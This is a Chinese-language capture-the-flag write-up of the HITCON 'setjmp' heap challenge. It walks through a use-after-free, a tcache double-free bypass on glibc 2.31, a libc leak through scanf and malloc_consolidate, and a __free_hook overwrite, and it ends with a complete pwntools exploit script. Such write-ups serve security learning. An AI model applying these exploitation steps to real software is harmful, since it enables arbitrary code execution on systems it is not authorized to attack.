HITCON CTF —— setjmp
题目下载:https://ctf2024.hitcon.org/dashboard/
静态分析
之前没遇见过setjmp函数,看的这setjmp了解了一下
现在来分析一下程序

看一下这个菜单,相较于一般的菜单堆题,多了一个restart,其余的就是一般题目中都有的创建,删除,修改和查看
restart

可以看到,重启这个功能就是跳回到程序开始的地方,就是直接跳回去,没有对我们创建过的东西进行任何修改
并且,他会重新创建一个root用户
add

我们不能够控制自己分配chunk的大小,每个用户只有0x20大小的空间
然后下面写地址的地方看起来感觉有点乱,在gdb里面看一下,其实就是把每个用户之间的地址用双链的结构

del

free之后没有置零
change

view
解析
这是2.31版本的glibc(给了dockerfile文件,从里面的哈希值得出的),hook钩子还存在,tcache有简单的检查double free的机制,还没有混淆,可以使用tcache poisoning
大致思路就是泄露出libc,使用tcache poisoning申请到free_hook处写入one_gadget或则system。
但是这道题限制了申请只能为0x20,在fastbin里面,我们泄露不了libc,我目前的想法是修改一个chunk的size位,然后再进行free(不知道还有没有其他办法,如果有,希望师傅们可以在留言里告诉我一下)
泄露libc
double free
我们之前就看到了del里面有一个uaf漏洞,当我们把里面唯一的一个用户删除时,他的双链是指向自己的

这时候我们就可以绕过他双链自己的检测,使用到他的uaf漏洞修改他的bk处的值,绕过2.31的tcache上的double free机制
1 2 3
| dele(b'root') change(b'\x00',b'\x00'*8) dele(b'\x00')
|

尝试(失败了)
我开始的思路是通过double free取申请一个chunk上面一点的位置,使之刚好可以修改这个chunk的size位,然后修改size位unsorted bin大小,free掉这个chunk后,就会泄露出一个值取计算libc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| dele(b'root') show() io.recvuntil(b': ') data = u64(io.recv(6).ljust(8, b'\x00')) print('data:',hex(data)) res() add(b'aaaa',b'aaaa') dele(b'aaaa') dele(b'root') change(p64(data+0x556253a616e0-0x556253a61010)[:6],b'\x00'*8) dele(p64(data+0x556253a616e0-0x556253a61010)[:6])
add(p64(data+0x556253a616d0-0x556253a61010)[:6],p64(data)[:6]) add(b'a',b'a') add(b'aa',p64(0x540)) dele(p64(data+0x000055882c11c370-0x55882c11c010)[:6])
|

本来我感觉所有的都调好了,高高兴兴去free这个chunk,然后被这个程序自己的双链检测机制给拦住了

从这看出,程序的双链没有指向的我想free掉的chunk
然后我就去看了这道题目的wp,发现泄露libc用到的竟然是scanf
利用scanf泄露libc
参考文章 Heap exploitation, glibc internals and nifty tricks.
scanf在我们进行输入的时候会开辟一个缓存空间在堆上,然后在函数返回的时候会将这个堆释放。但是我们如果直接使用scanf在本题里面输入很长的内容使之生成了一个大的unsorted bin,但在scanf函数返回后,unsorted bin也会因为与top chunk相邻而合并,这时候就需要使用到malloc_consolidate这个函数(很早之前就看过这个函数了,还是第一次用)当我们申请了很多个fast bin大小的chunk然后再free掉之后,调用malloc_consolidate这个函数就可以使这些fast bin大小的chunk合并为一个unsorted bin的chunk
(关于malloc_consolidate的调用时机可以看看这https://bbs.kanxue.com/thread-257742.htm#msg_header_h2_2)
创建许多个用户再删除,让堆空间存在很多个fast bin chunk
1 2 3 4 5
| for i in range(30): add(str(i),str(i)) for i in range(30): dele(str(i))
|
然后我们使用scanf输入很多数据,使之生成一个large bin从而触发malloc_consolidate合并之前的fast bin
但是这一步有两个需要关注的点:
1.我们需要调用一下重启功能,让程序自己在我们的fast bin下面创建两个0xd1的chunk隔绝top chunk
2.由于我们scanf的函数读取的是int类型


所以我们输入的数据只能用0填充,因为0*0x540还是0,但是使用其他数据就不包含在条件里会执行exit
1 2
| res() choose(b'0'*0x500)
|
这样,就出现了unsorted bin

之后再将之前的tcache bin全部申请出来,只剩下unsorted bin的时候,申请一个用户名和密码都为空的用户,就不会覆盖需要leak的数据(最低位会被换行符覆盖,但是没什么影响),show一下就出来了
1 2 3 4 5 6 7 8 9 10 11
| for i in range(5): add(str(i),str(i)) add(b'',b'') show() io.recv() data1=u64(io.recv(6).ljust(8,b'\x00')) print("data1",hex(data1)) offset=0x7f1a7754a000-0x7f1a77735b0a libc_base=data1+offset print('libc_base:',hex(libc_base))
|

后面的做法就是使用double free申请到free hook处进行修改就可以了,就不详细分析了
wp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94
| from pwn import* context(os='linux',arch='amd64',log_level='debug')
io=process('./run') libc=ELF('./libc.so.6') elf=ELF('./run')
def choose(num): io.sendlineafter(b'>',num) def res(): choose(b'1') def add(name,password): choose(b'2') io.sendlineafter(b'>',name) io.sendlineafter(b'>',password) def dele(name): choose(b'3') io.sendlineafter(b'>',name) def change(name,password): choose(b'4') io.sendafter(b'>',name) io.sendafter(b'>',password) def show(): choose(b'5')
for i in range(30): add(str(i),str(i)) for i in range(30): dele(str(i)) res() choose(b'0'*0x500)
for i in range(5): add(str(i),str(i)) add(b'',b'') show() io.recv() data1=u64(io.recv(6).ljust(8,b'\x00')) print("data1",hex(data1)) offset=0x7f1a7754a000-0x7f1a77735b0a libc_base=data1+offset print('libc_base:',hex(libc_base)) free_hook=libc_base+libc.sym['__free_hook'] onegaddet=libc_base+0xe6aee
for i in range(30): add(f"a{i}", b"aaaa")
res() dele(b'root') show() io.recvuntil(b': ') data2 = u64(io.recv(6).ljust(8, b'\x00')) print('data2:',hex(data2)) res() add(b'aaaa',b'aaaa') dele(b'aaaa') dele(b'root') change(p64(data2+0x000055aa5cae8320-0x55aa5cae7010)[:6],b'\x00'*8) dele(p64(data2+0x000055aa5cae8320-0x55aa5cae7010)[:6]) add(p64(free_hook)[:6],b'aaaa') add(b'b',b'b') add(p64(onegaddet)[:6],b'a') dele(b'b') gdb.attach(io)
io.interactive()
|

感觉这个题也不算很难,但是我之前没遇见过通过scanf得到unsorted bin的手法,写下来记录一下